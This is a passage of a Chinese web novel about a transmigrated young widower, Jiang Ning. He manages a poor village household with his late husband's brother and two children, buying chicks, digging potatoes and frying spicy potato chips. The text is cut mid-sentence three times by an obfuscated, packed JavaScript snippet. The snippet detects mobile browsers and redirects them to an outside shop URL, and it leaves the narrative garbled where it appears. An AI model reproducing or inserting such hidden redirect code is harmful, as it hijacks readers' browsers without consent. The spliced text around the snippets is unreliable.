姜宁擦了擦手,正想让卫长昀去叫两个小的吃饭,忽然瞥见厨房外边有一抹橙红,眼睛一亮,连忙从外面绕了过去。 厨房是挨着墙搭的,旁边就是俩小孩住的屋子。 屋后为了排水,挖了一条水沟,这会儿墙边长了一株毛辣果,藤枝东倒西歪,显然不是种的。 姜宁走过去,摘了几颗在手里,又钻回厨房,随便洗洗就切了往锅里放。 “那是什么?” “毛辣果啊,放这个开胃。” 卫长昀没听过什么毛辣果,这不就是房前屋后长的杂草吗?哪怕红了都很酸,村子里没谁家会吃这个。 姜宁没想到这里竟然有毛辣果,他还以为只有他家那边才长,有这个东西就好办了。 能不能挣钱另说,但他自己的胃能满足了。 没有人能拒绝酸汤鱼和酸汤火锅,除了不爱吃酸的人。 “放心,没毒。”姜宁把手里剩下的两颗,一颗塞嘴里,另一颗摊在手心递到卫长昀面前,“尝尝?” 牙尖咬破表面那一层皮,酸味一下在舌尖炸开,然后夹杂一点点甜味。 果然是野生的,这么酸啊。 卫长昀看着姜宁一边揉腮帮一边往屋子那边走,垂眼盯着被硬塞到手里的毛辣果。 犹豫了一会儿,才抬手把果子塞到嘴里。 好酸。 比没熟透的梨还酸。 “哇——!好香啊!” “宁哥哥,你做的什么?闻着好香!” 俩孩子坐在桌旁,瞪大眼盯着桌子中间那盆刚出锅的面条汤。 家里以前也做过面条,还有各种面汤,可闻着都没这么香,引得人不停吞咽。 姜宁用铲子给他们一人盛了一碗,热气扑腾得更明显,“还没吃呢,吃过了再夸。” 小孩子年纪不大,又刚失了长兄,姜宁对他们来说,那就是最可靠的人。 快跟卫长昀一样亲了。 卫小小抱着碗,手还没碗大,筷子也捏得低,喝了口汤,才开始吃面条。 才吃了一口,眼睛倏地亮了,抬头看姜宁。 其实姜宁也挺紧张的,这是他来到这儿后做的第一顿饭,尤其还是不熟悉的厨房,什么都不顺手,生怕翻车。 看到卫小小眼睛亮起来的瞬间,心里一松。 姜宁笑起来,放心地给刚从厨房出来的卫长昀也盛了一碗,推到他面前,“尝尝?” 卫长昀手上还有水,怔了下才拿起筷子,“谢谢。” 姜宁瞥眼吃得呼哧呼哧的俩小孩,“客气什么,都一家人,以后还有更多好吃的。” 他家里可是开农家乐的,酒店里的那些菜他不会做,还搞不定农家菜么? “宁哥哥,还有什么好吃的啊?!” “以后就知道了。”姜宁没直说,见卫小宝还想说话,制止道:“嘴里吃着东西的时候不要说话,不礼貌也容易呛着。” 卫小宝立即闭了嘴,乖乖捧着碗吃东西。 卫长昀飞快地看了眼姜宁,又垂下眼。 他喝汤时在想,这位嫂嫂手艺真好。 一顿早午饭吃完,卫长昀主动去洗碗,小小和小宝围着姜宁,被他用随手编的草蚂蚱哄去了屋里玩。 因为姜宁有正事要忙,暂时没空陪小孩。 约摸过了一刻,厨房里收拾的卫长昀走出来,见姜宁坐在那儿,像是在等他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616581|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你忙完了吧?”姜宁问。 卫长昀点头,在方桌另一侧坐下。 “我刚才想了想,还是不赞同你退学。”姜宁生了一张漂亮的脸,不笑时,便生出几分距离感。 卫长昀一听,到底是少年心性,一下控制不住表情,薄唇抿起,一脸不服,仔细看还有些委屈。 姜宁挑了挑眉梢,掀起唇角,“你先别急,我的意思是,你可以暂时退学回家里帮忙,但日后还是得去上学。” 卫长昀绷紧的肩背一下僵住,愕然道:“什么?” “如今你是担心钱和家里弟妹才回来,我理解。”姜宁拿出刚才在堂屋里翻到的一张泛黄的纸,还有一节炭笔,“但你大哥既送你去上学,想必是知道读书是一条好出路,你还上了几年学,总不能连你大哥那点觉悟都没有。” 他的话刚说完,卫长昀微微低下头,没反驳。 姜宁接着道:“所以日后家里有余钱了,你就回私塾上课,这样可以吧?” “余钱?” 卫长昀不知道是问,还是惊讶。 从小到大,卫长昀就没见过家里有余钱。 父母在时没有,大哥一个人养家时也没有。从春到冬,地里有什么吃什么,有时候还得上山里打些兔子、野鸡才能过完冬天。 他上学那些钱,全是从一家人牙缝里抠出来的。 多一个铜板都没有。 退学回来的路上,他一直在想要怎么养活一家四口人。 得种地,可光种地是不够的,那只能勉强不饿死。他可以帮别人写对联、写信,但对联只有过年才写,信更是少有机会。 更别说村里还有秀才,能考读书写字赚钱的事,第一个找不上他。 姜宁看卫长昀脸上表情,一点点露出茫然,倒不觉好笑,只是有些心疼他们。 一辈子都长在这里,连赚钱的法子都天生比别人少。 “有我呢。” 卫长昀闻言回过神,看向对面坐着的姜宁。 姜宁脸上带着笑,跟那染着朝露的山茶似的,一直悬着的心,不知怎么就有了着落。 “不过也得你跟我一起。”姜宁笑弯了一双眼,立即说正事,“咱们先算算家底有多少,知根知底,才能未雨绸缪。” 卫长昀不平静的心绪,被这句话轻易压下。 “?” 姜宁和卫长昀花了一个中午的时间,才把家底理明白了。 卫大留下的现钱有小半贯,也就是二百来文。 家里小麦粉、糙米加起来有二十斤,还有玉米面十斤。猪油半罐,盐和糖也是半罐。 地一共是有三块,都离得不远,加起来两亩多一点,水田不大,只有半亩。 至于禽类,一只没有,全在办席的时候给炖了。 姜宁咬了咬下唇,盯着手里那张纸,前一半还是他自己写,后边就交给卫长昀了。 字迹相去甚远,一个潦草得几乎认不出,一个笔锋有力、字迹清隽。 卫长昀看了看那字,问:“是有什么没算上?” 姜宁眉头舒展开,认真道:“先去买些鸡崽吧。” 再穷不能穷孩子,一屋子四个人,全都在长身体。养猪是长线作战,现在养是来不及了,但养鸡可以。 不吃鸡肉,每天来俩鸡蛋也可以营养均衡。 绝对不是因为没钱买猪仔。 5. 第 5 章 养鸡是最不分时候的,一年四季,只要条件合适都可以养。 姜宁是行动派,才刚理清楚家里目前的家产,中午用剩下的土豆做了个焖饭,在俩小孩的无限赞美里,领着卫长昀去村里买小鸡崽。 小河村字面意思就是在一条河旁边的村子,因为在十几里外的上游还有个大河村,所以才叫小河村。 不算富裕,却风光秀丽,大概是没有经历过工业的污染,连河沟里的水都清澈得很。 “你知道在谁家可以买?”姜宁一个外村人,对村里不熟,问这话很正常,“买了鸡崽,我还想去再找一点毛辣果。” 卫长昀身上背了一个竹篓,沉默跟在姜宁身边,大部分时候都是他在听姜宁说话。 姜宁也不在意,接着说:“然后再去挖点土豆。” 土豆一般是十月到十一月种,来年春天正好赶上第一波土豆成熟。在姜宁老家,大家都喜欢吃新土豆,个头不大,跟鸡蛋差不多,皮都不用削,洗干净就可以吃。 卫长昀一怔,终于主动问:“挖土豆做什么?” 姜宁见他终于问自己,觉得有趣,故意卖关子道:“自然是……到时候你就知道了。” 说完他往前迈了两步,走到了卫长昀前头。 卫长昀看着姜宁的背影,心里生出一丝疑惑。 他这位大嫂,怎么好像不太一样了? 今早王栓一家去找姜宁的事,早在村子里传开了,说什么的都有。 不过最后他们一家灰溜溜地回来,又有杨二爷邻居目睹,村里大多数人自然偏向了姜宁。 人家一个新过门的哥儿,虽说是命不好,还克人,但也没做什么伤天害理的事,丈夫死了,自是可怜的。 再看王栓家,村里就没几户没被招惹过的。 “宁哥儿这是去做什么?” “你家二郎怎么回来了?” “哟,你们这是上哪去?到家里坐坐?” …… 旁人可不是对姜宁热情,话是冲着姜宁,眼睛都往卫长昀身上瞟,一个个笑眯眯的。 “你在村里这么受欢迎啊!”姜宁忍不住感慨,这都快赶上他们学校的校草了。 就那种成绩还可以,运动天赋高,长得帅的。 卫长昀神色一僵,没说话。 姜宁一眼看穿他的尴尬,拍拍他胳膊,“逗你的,就在这家买是吧。” 卫长昀点头,“这是王三叔家,他家养鸡。” 养殖户啊。 那可有钱了,至少是个小康。 姜宁走上前,朝里喊了声,“三叔、三婶,在家吗?” 没一会儿,敞着门的堂屋里钻出来一人,布衣挽发,也是个哥儿。 “宁哥儿?” 对方疑惑地问了句。 姜宁对这个世界多一个性别这事儿已经无比适应,虽然他没懂哥儿除了能生、身量纤细一些外,跟男的有什么区别。 哦,耳垂多了一颗小小的痣。 “我来买鸡苗。”姜宁没拐弯抹角,“家里的鸡鸭都没了,想着开春暖和一点,好养活一点。” 王三婶本姓宋,单名一个乔。 宋乔擦了擦手,走上前,“那进来吧,你自个来圈里挑,正好有一窝是前几天孵出来的,才十天。” 姜宁一听,答应了声,推开院门进去。 宋乔这才看到跟在姜宁后面的人,略有些惊讶,看看姜宁,又看看开口叫他的卫长昀。 这几日并非旬假的日子,卫家二郎怎么回家来了? “三婶,你这鸡苗怎么卖啊?” 宋乔收起疑惑,走到专门养鸡苗的一排笼子边上,“四文钱一只。” 姜宁算过,一千文是一贯,两文钱差不多是一块。两块一只小鸡崽,倒也不算贵。 他正要说抓个十来只,就听得旁边宋乔开了口。 “你家二郎,怎么回来了?” 姜宁瞥眼站在几步外的卫长昀,皱了皱鼻子,“小孩儿有想法了,犯轴呢。” 宋乔也不是小河村的人,跟王越是在镇上赶集认识的,嫁过来好些年,生有两个孩子。 大的正好跟卫长昀在一个私塾上学。 “那等他自己想明白,你也别说太多,省得他以为你怎么了。”宋乔大概猜到是怎么回事,劝了一句。 姜宁点点头,说自己知道了。 宋乔是小河村里难得跟姜宁能说得了几句话,另一个是赵秋。 “三婶,我买十只好了,有笼子吗?他那个背篓,一会儿要装别的。”姜宁心里盘算了一会儿,决定要十只就够了。 到时候母鸡下蛋,要是受精成功,还能孵出小鸡。 “有,我给你们拿。”宋乔见他拿了只小鸡在手心里,一脸好奇又认真地看,笑容变得温和。 姜宁捧着自己选出来的小鸡,回头道:“长昀,你说十只够了吧?还要不要再买两只?” 卫长昀诧异地抬头,一时没反应过来。 “算了,我觉得够了。”姜宁低头,用手指逗逗小鸡,自己在那儿乐,“一共四十文,你记得给三婶。” 卫长昀点头,“嗯,数好了。” 姜宁看他掏钱的样子,心里还算满意。 其实他今天头脑一热,说出要一块整理家里东西后,心里也发虚。 倒不是担心自己昧了人家钱财,是他跟卫长昀实在不亲,满打满算也才见了几面,这么贸然,怕卫长昀多想。 出来买鸡苗、挖土豆,虽然是因为身体还没养好,怕拿不了,但也夹杂了一些试探。 万一卫长昀是个不爱干活、懒惰的主,那他岂不成了冤大头。 目前看来,卫长昀倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616582|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟第一印象符合。 不怎么说话,但做事算牢靠。 至少是个不添乱的人。 当然,除了擅自退学这事儿。 付了钱,拎着一笼小鸡,两人从王越、宋乔家离开,沿着一条道,去了地里。 村子里的水田都集中在河边,那样好引水浇灌。 旱地就没那么多讲究,分散在四处,不少人家还在后院自己开垦了片菜地,种些白菜、辣椒、萝卜和葱蒜,就图个方便。 土豆跟番薯一样,是最好种的作物之二。 不用怎么施肥、翻土,也能自己长一片,而且都生得不深,锄头轻轻一刨就能挖出来。 姜宁身体不好,挖两下就气喘吁吁的。 “你去旁边歇着,我一个人挖也够了。”卫长昀指了下背篓旁边,“正好嫂、嫂嫂可以把这些装背篓里。” 姜宁一张脸,累得通红,鼻尖还挂了一层薄汗。 半点不推辞,一屁股坐在草堆上,拿手扇着风,眼睛一转,问:“你是不是有些别扭?” 卫长昀出来时换了身衣服,乡下农人常穿的粗布短衫,却掩盖不了读过书的气质。 这会儿挽着袖子在哪干活,听到后,否认道:“没。” “你要不习惯叫我大嫂、嫂嫂,跟小小他们一样叫我就行,宁哥总开得了口吧。” 姜宁才说完,嘴角就止不住上扬。 天知道他因为上学早,所以从小到大都是班里最小的,谁喊他都是姜宁、小姜宁,可没听过人喊宁哥。 除了抄他作业。 白捡一个跟班小弟,能不高兴么。 卫长昀停下锄头,弯腰捡起地上土豆,“没有别扭,只是尚未习惯。” 姜宁也不勉强,看了半篓土豆,估摸差不多了,拍手站起来,“回吧,再多放久了也变味,不如新鲜的好吃。” 卫长昀“嗯”了声,蹲下背起半篓土豆,又去拿竹笼。 姜宁惊讶盯着他背影,心想,眼里有活真不错啊。 回去的路上,碰见了刚从地里回来的赵秋。 赵秋一见姜宁,立即上前问他有没有事,那王栓有没有为难他,让他别放在心上。 “没事没事,你看我好好的。”姜宁搂着赵秋的肩膀,并行一路段,“秋哥儿,今天真谢谢你。” 赵秋忙摆手道:“我什么都没做,就是跑个腿。” “你这报信可帮了大忙,不然二爷怎么来得那么快。”姜宁见赵秋挎着的篮子,又琢磨了天色,“一会儿你放了东西,晚些到我家来,给你好吃的。” 赵秋眼睛一亮,好奇道:“什么好吃的?” 姜宁瞥向前面的卫长昀,“麻辣土豆片跟狼牙土豆。” 没等赵秋反应,卫长昀听见后回了头,直直盯着姜宁看,绷着的唇角,怎么看怎么带点委屈。 6. 第 6 章 作为一个土豆脑,姜宁从小就相信,这个世界上如果有人能把土豆都做得难吃,那一定是他的问题。 所以把鸡苗暂时放进原本的鸡圈里后,姜宁就挽起袖子,拿了个大盆,坐在厨房门口小凳子上,给土豆搓泥。 小小跟小宝在旁边眼巴巴地守着,见正在给鸡苗做新笼子的卫长昀没注意,立即伸手到水里,想要跟着一起洗土豆。 才刚捞了一个,那边就传来卫长昀悠悠的一句。 “天还冷,别晚睡。” 卫小小的手立即缩了回去,抬头看姜宁,想让他帮自己说话。 “你早上才退烧,不可以玩水,容易反复。”姜宁别开眼,狠心拒绝,“不过你可以帮我做别的事吗?” 卫小小才暗下去的眼神,一下亮了,“宁哥哥,什么事?” 姜宁朝旁边的菜叶抬抬下巴,道:“你剥外面的菜叶,去喂下小鸡,好不好?” 卫小小嗯嗯两声,站起来去摘菜叶。 姜宁没阻止卫小宝跟着一起洗,再怎么冷,那也到春天了,更别说今天还出了太阳,小孩养得太仔细,反而适得其反了,免疫力会降低,因为什么都不接触。 不过他算不上亲哥哥,做完了又有些心虚,往卫长昀那儿扫去。 俩人眼神猝不及防撞上,姜宁露出一个尴尬的笑,还没来得及辩解,卫长昀就转回去继续劈竹子了。 姜宁:“……” 为什么有种上课开小差被老师抓包的错觉。 半背篓的土豆,一顿吃不了那么多。 放了一些在厨房留着后面吃,剩下的姜宁拿了大半切片,分薄片和厚一点的,一小部分切成块用来做狼牙土豆。 姜宁先把厚土豆片拿到簸箕里平摊开来晒,不然一会儿做起事来,容易忘。 虽然麻辣土豆片和狼牙土豆做法简单,就是下锅炸,可还有个难点,那就是辣椒。 现做辣椒面,得花点时间。 姜宁早上来厨房时就看过了,现在他所处的燕朝香料已经不算奢侈品,已经开始逐渐使用香料,不过大多人还不适应用香料来做菜。 所以他看到堆在角落里干了的花椒和桂皮时,心里就松了口气。 有就行,不然还得上山里去找。 麻辣面主料是干辣椒、花椒、花生,只要有这三个就能调出好吃的麻辣面,不管是撒在土豆片上还是拿去烧烤,都好吃。 先把干辣椒、花椒和花生干炒,等味道出来变脆之后,就放进石雷钵里,锤成比面粉粗一点的粉状,再往里撒一点盐,搅拌均匀就行。 姜宁第一次只弄了一点,先尝了味道,确定味道了,再重新调整把材料全下石钵里了。 他家里再是做农家乐的,那也没自己做过这种到处都能买到的辣椒面,顶多知道做法。 还好成功了,不然他以后好多菜都吃不了。 “宁哥哥,这是什么,好香啊……” 卫小宝扒着桌子,伸长脖子一脸馋样。 姜宁把碗拿开一点,揉了一下他的头发,“别离那么近,一会儿呛得你打喷嚏。” “是辣椒面,我新想到的做法。” 卫小小也好奇地问:“那要怎么吃?” 姜宁走到灶台前,擦了擦锅里的水,揭开装菜籽油的罐子,往锅里舀了好几勺。 他没想到这边的菜籽油竟然比猪油便宜,猪油大概是一百二十文一斤,菜籽油才一半。 “哇!好多油,是要炸鱼么!” “宁哥哥,今晚吃炸鱼?” 姜宁看眼跟来的两个小家伙,让他们离得远些,免得等会儿被油崩到,他小时候被崩过,疼呢。 “不吃炸鱼,吃土豆大餐。” “可是土豆不好吃……没味道。”卫小宝只记得以前的土豆,都是煮了直接剥皮吃,顶多蘸点酱。 姜宁心想,还真有人把土豆做得不好吃啊。 柴火来得快,油温很快上去。 姜宁小心把过了水的土豆片往锅里倒,滋啦一片声音,连旁边正在装鸡笼的卫长昀都抬头往灶台看了眼,表情透着震惊,生怕下一秒锅炸了。 “小问题,别紧张。” 姜宁拿着锅铲,离锅一步远,一脸镇定地安慰说。 卫家三兄妹沉默了一下,俩小的拍着手,十分捧场地说好厉害。 薄薄的土豆片,在锅铲翻来翻去后,受热平均,竟然没有糊,慢慢地浮了起来,甚至边缘卷了起来。 趁热滤油捞出过,放进铁盆里,一边轻轻翻面防止黏在一块,一边撒上麻辣椒面。 油香混着辣椒的味道,随着翻面的动作,一下飘开,从厨房散了出去。 姜宁往锅里下了土豆块,确定不会粘锅后,就端着盆出了厨房。 土豆片冷的热的都好吃,口感可不一样。 趴在桌上的两个小家伙一起支棱起来,巴巴地看着土豆片,“可以吃了吗?” 姜宁正要答应,就见赵秋站在院子外,正要叫他。 “秋哥儿来得正好,赶紧来尝尝刚出锅的麻辣土豆片,帮我试试味道怎么样。” 赵秋听他叫自己,又闻到了香味,倒也不扭捏,推了院门进来,径直走到桌旁,“这就是你说的麻辣土豆片?” “嗯嗯。”姜宁连连点了两下头,示意他们用帕子擦了手直接拿,“快尝尝看,我怕火候不好,炸久了有些苦。” 围在桌旁的几人,擦了手,拿了还有些烫的土豆片往嘴里塞,牙齿一嚼,又脆又香,不觉得油腻,麻麻辣辣的,忍不住还想吃。 赵秋炒土豆、焖土豆、烤土豆见得多,但这种做饭还是头回,更别说上面那一层辣椒,吃着特别香。 “好好吃,宁哥儿,你这土豆片上的是什么啊?” 姜宁瞥眼飞快往嘴里塞的两小孩,腮帮鼓鼓的,压根顾不上说话,嘴角不住上扬。 成功了。 他就知道,只有没做好的土豆,不存在不爱吃的人。 姜宁想好了,这个季节山上野货倒是不少。但他能想到去采来卖,村里其他人肯定也可以。 不如先拿麻辣土豆片去试试,卖不出去了,还能自己吃。 第一桶金的路子想好了,姜宁浑身舒畅。 刚伸手拿了几片刚要往嘴里塞,余光一扫,瞥见蹲在院子里那块小菜地旁的卫长昀,动作一怔。 “你尝一下?秋哥儿他们都说好吃。” 卫长昀闻声回头,手里还在打结。 给鸡苗做的笼子已经快装好了,就差把上面的盖给绑上,这样夜里鸡崽才不会跑出来。 他看想姜宁手里的土豆片,道:“我一会儿——” 话还没说完,嘴就被堵上了。 姜宁直起刚才弯了的腰,拍拍手上的碎屑,问:“好吃吗?” 卫长昀嘴里塞了得有三片,说不了话,手也帮不上忙,只能干看着姜宁。 眼里透着震惊跟不解,眉头都皱了起来。 姜宁一脸不罢休的表情,“好吃你就点头,皱什么眉呀,给你投喂还不行啊?” 卫长昀:“……” 过了一会儿,他才缓缓点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616583|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好吃的。” “成了,连你都说好吃,那肯定没假的。”姜宁满意地转身回厨房,“你弄差不多就洗手,去桌边吃。” 赵秋瞥见了姜宁的动作,心里一惊,等他去厨房了,才跟过去,小声道:“你什么时候跟卫二郎这么熟了?” 姜宁没理解他意思,把灶里的火挪到另一边灶孔,这样能烧一锅水,晚些时候洗东西、洗漱能用。 “他不是小孩吗?也算我弟吧,以后得在一个家里住,不得搞好搞好关系,日子怎么过?” 赵秋一听,好像也有道理。 他往外看眼,卫长昀在那儿装鸡圈,还没弱冠的少年,身形还透着单薄,的确是弟弟。 “他怎么没去上学?”赵秋好奇问了句,毕竟他们村没几个能去镇上私塾上学的。 要不是家里没钱不愿意供人念书,要么就是不愿意学。 姜宁没忍住笑了声,调整好火后,把锅里的土豆块捞出来,放到了盆里。 “小孩嘛,想家。” 赵秋:“……” 姜宁一转头,看见卫长昀站厨房门口,表情凝住,过了会儿才道:“盆里有水,你将就洗。” 卫长昀“嗯”了声,没多说,也不知道听见了没听见。 姜宁琢磨是没听见,就算听见了,那也没错。 不就是想家么,不想能回来? 旁边洗好的葱、蒜被姜宁切成了葱花跟蒜粒。 姜宁把葱花和蒜粒扔盆里,又放了辣椒面跟炸花生,倒上酱油跟醋,搅拌之后味道跟麻辣土豆片又不一样。 其实这还是简陋的,差了不少料。 比如酸萝卜、腌菜碎、香油,还有最重要的甜酱没上。 不过得慢慢来,他才来多久,往后一点点往家里添就是了。 在卫家的第一顿晚饭,姜宁补足了碳水,感觉整个人都有精神多了。 送走了赵秋,姜宁想去收拾厨房,还没进去,便见卫长昀熟练地挽起袖子在那儿干活。 挑了挑眉,他走过去,“你知道下一次赶集是哪天吗?” 卫长昀正在刷碗,没抬头,“后日。” 姜宁想时间应该够,只不过他还不知道怎么定价,得根据集上别家出的价再来定,不然贵了亏了,都不好。 “你想拿去集市上卖?”卫长昀忽地问了句。 姜宁没否认,点头道:“地里种的大抵是够自家糊口,可再想做点别的就不行了,更别说束脩、药钱这些。” 还有赋税,每年都得交两次,眼瞅着春季的赋税可就得交了。 “我和你一起去。” 卫长昀道:“镇上,我熟些。” 姜宁有些惊讶地睁大眼,倏然笑起来,“那好啊,我身子还没养好,你一起去,正好帮了大忙。” 才说完,想起什么问:“可小小跟小宝自己在家,能行吗?” 卫长昀把碗筷放回柜子里,闩上后,擦了擦手。 “送去老师家,回来了去接。” 从前卫长昀还小,弟妹还没出生时,父母和大哥有事,也是这样做的。 姜宁看眼背篓里的土豆,一点不客气,“明天你和我一起弄吧,能快些。” 卫长昀站在柜子前,看着他,“好。” 家里用不起蜡烛,厨房跟堂屋里都点的油灯,灯没那么亮,昏暗的光线里,卫长昀眼底情绪看不分明。 姜宁忽地心虚起来,点点头转身去了堂屋。 明明比他年纪小,还矮小半个头,怎么心思那么重,一点没十五六的孩子样。 7. 第 7 章 翌日,天大亮了,卫家院子才有了动静。 姜宁来这儿之前,正好假期,天天睡到自然醒。 昨天起得早是意外,今天这个时辰才是正常作息。 他随意扎了个丸子头,庆幸每年寒暑假,给那一群小萝卜头梳过头,别说丸子头了,辫子也扎得来。 推开房门,听到对面屋子有动静,愣了愣才反应过来,隔壁屋子住了人。 姜宁正打算去看看俩小孩,迎面跟出来的卫长昀撞上,笑着打招呼,“早啊。” 卫长昀穿戴整齐,脸上也不见半点刚醒的睡意,显然醒了有一阵。 在私塾上学时,同窗之间也常有问好,但多是客气之言,像姜宁这样的,却是少见。 “灶上蒸了窝头,嫂嫂洗漱了可自行用早饭。”卫长昀说完,走到屋檐下的棚子,拿了两只桶。 姜宁一见,喊住他,“你是要去河边挑水?小心些。” 昨天去地里时,翻出来的土都是干的,估计得有六七日没下雨了,是得浇水,不然屋后那一小片菜地的菜苗怕是活不了。 卫长昀答应道:“嗯。” “那些土豆已经洗了,你看不够,中午我再去挖点。” 没等姜宁说话,卫长昀已经挑着空桶出了院子。 姜宁站在原地,惊讶得半天没反应过来。 那一背篓的土豆,全给洗了?得多早起才能做这么多事啊。 视线跟着卫长昀的身影,直到快消失了,姜宁才收回视线,转身进了旁边的屋子。 他以为卫长昀说退学是为了养家,是一时冲动做的决定,可没想到,他是真的认真的。 哪怕没想好养家的法子,却也把眼前的事踏实做了。 姜宁给卫小小扎辫子时,心想,卫长昀不愧是读过书,倒是一个可靠的性子。 早饭吃的是玉米窝头,配昨天剩下的狼牙土豆。 吃过早饭,就得干活了。 姜宁换了身方便下地的衣服,一出房门,家里另外三个人的目光直直投过来。 “……?” 他衣服穿错了?不能啊,现在这房间里,已经只剩下他的东西了。 “宁哥哥,还洗土豆吗?” “今天还炸土豆片吗?” "……" 卫长昀此时的无声胜有声,等着姜宁开口,就去把土豆切成片。 姜宁咳了声,突然有种一家之主的错觉。 以前在家,大小事情都是看他妈的眼神,还没有过这种家庭地位。 “土豆片明早炸才香,晚点切都不碍事,我想去地里摘点毛辣果,再看看有没有什么别的野菜。” “我和你一起去。” 姜宁瞥眼俩小孩,问:“他俩自己在家没事吗?” 小河村虽然民风淳朴,可两个孩子单独在家,还是太危险了,有人贩子怎么办。 “我们也一起去!” 俩小孩说完,可怜巴巴地看姜宁。 小小和小宝五岁多了,换作城里的还是全家的宝贝疙瘩,但在农村这个年纪大的小孩,大多都能去地里摘菜,帮忙摘豆子。 姜宁没想到还可以这样,一怔后,半点犹豫没有,一口答应,“那就一起去,也不是干什么重活,就摘点东西,顺道去地里田里转圈。” 卫长昀没反对,一声不吭地去拿了背篓跟上,还有两个小竹篮,小孩拎着正合适。 收拾好了出门的装备,一家四口关了院门,一块往地里去了。 今天的任务,是摘毛辣果,顺便摘点野菜。 姜宁挺随遇而安的,来到这边有吃的,能活下去,所以赚钱的事没那么着急,却也得提前计划了。 毕竟意外是不可预知的,不管在什么时候,家里备着钱,也能安心些。 “这个就是毛辣果,昨天早上给你们做面条汤放了些,放了会带点酸味,很开胃。” “这个也可以吃,是苦蒜,嗯,也可以看成是野葱。” “对了对了,看这个,好像是折耳根叶子,下次带了锄头咱们再挖,是草药,也可以当做菜的配料,不过不是谁都吃得惯。” “这个是剪刀菜,反正是野菜的一种,还有这个是香椿吧。” 姜宁一路走一路介绍,看见什么都掐一小段,认真介绍给卫长昀兄妹三人。 俩小的越听越入迷,一个劲儿地问。 卫长昀也听了,只是听到后面,瞥向那棵香椿树时,轻轻皱了下眉头,指腹捻了捻背篓绳,一路到地里都没说话。 毛辣果这东西,压根不需要特地种,但凡是有地的地方,墙根、地里、到处都是,只不过个小又酸,所以都当成杂草处理了。 昨天挖土豆的时候,姜宁注意到家里的地周围有,所以今天才来的。 卫小小蹲在一从毛辣果边上,指着面前问:“宁哥哥,是要摘这种红的吗?” “对,就要红的,黄的和青的都还没熟。”姜宁边说边看向那边放下背篓的卫长昀,往不远处的水田看去。 小小和小宝一听,立即动手摘,往竹篮里放。 姜宁见他们玩起来了,走到卫长昀旁边,“我刚才说的那些野菜,都是能吃的。” 卫长昀诧异看他一眼,“我没怀疑。” 姜宁失笑,“可你的眼睛这么说了。” 卫长昀抿唇没再说话,因为他刚才是有疑惑,姜宁为什么会知道这些。 他长这么大,姜宁刚才说的,得有一半他没吃过。 “我家里也是种地的,而且比你家穷不少,上面还有两个兄长,我——” 姜宁想起原主从前的日子,垂下眼,“所以就把心思放在了这些上,总想着日子能好过些。” 闻言卫长昀怔住片刻,才开口,“这里也是你家。” 卫长昀对姜宁从前的事一点不知道,在他退学回来前,只见过姜宁一次。 就是他大哥的丧礼上。 不管他大哥和姜宁关系如何,但已经成了亲,拜了堂,那就是他们家的一份子。 往后和姜家人,要关系好自然是会往来,要关系不好,也没必要往来了。 姜宁抬头,微微睁大眼,有一瞬地愣神。 倏地,一阵风吹来,夹着山间的林木清新拂面而过,令姜宁灿然一笑。 “说得对,这里也是我家。” 有人一起干活,时间变得好打发多了。 卫长昀话不多,但只要姜宁在跟他说话,就会回应,哪怕只是点头,或者答应一声。 等到日头渐渐高了,他们才把周围的毛辣果摘完,还挖了不少苦蒜跟野菜。 “这些就够了。”姜宁拍拍手,用手背擦了擦脸上的汗,“对了,家里的水田是不是过阵子得插秧了?” “嗯。”卫长昀背起一筐毛辣果,“半亩,我一个人就够了。” “那大概能收上来多少斤?”姜宁问。 卫长昀在私塾上学,但每逢春耕秋收农忙,都会有一个月田假,就是让学生回家中帮忙。 所以对于农事,他自是知道的。 “约摸有一百五六十斤,但这是稻谷,脱壳打成米,就得少个十多斤。”卫长昀解释道:“嫂嫂何故问这个?” 姜宁想了想道:“家里余钱不多,买米怕是不够,还有其他开销,所以家里种的够吃,便能省不少。” 一百五十斤,看来是完全不够。 除非每天就吃一顿饭,而且每人只吃一碗,但这都很紧巴巴。更别说现在的大米,都是用甑子蒸的,一碗米翻不成三碗饭。 至少得再买二三百斤才行。 可一斗米才十二三斤,就得三十多文,至少得一贯钱了。 “家里水田分的时候就少。”卫长昀看出他心里想的,“另外三块旱地,这里种了番薯和土豆,另外两块分别是苞谷和豆子,还有麦子。” “麦子一年能有百来斤吗?” “磨成粉差不多。” “那也行了。” 反正卫家现在的经济水平就是饿不死,但离过得好就差得远了。 不说镇上那些人家,就连村里都还是吊车尾的困难户。 旁边小小跟小宝贪吃,拿了毛辣果塞嘴里,酸得小脸皱成一团。 小宝呸呸吐了两下,仰头问:“宁哥哥,这个是要做什么?不好吃,酸牙。” “不是直接吃的,拿来做酸汤。”姜宁伸手捏捏他的脸,“等腌好了,给你们做酸汤鱼。” 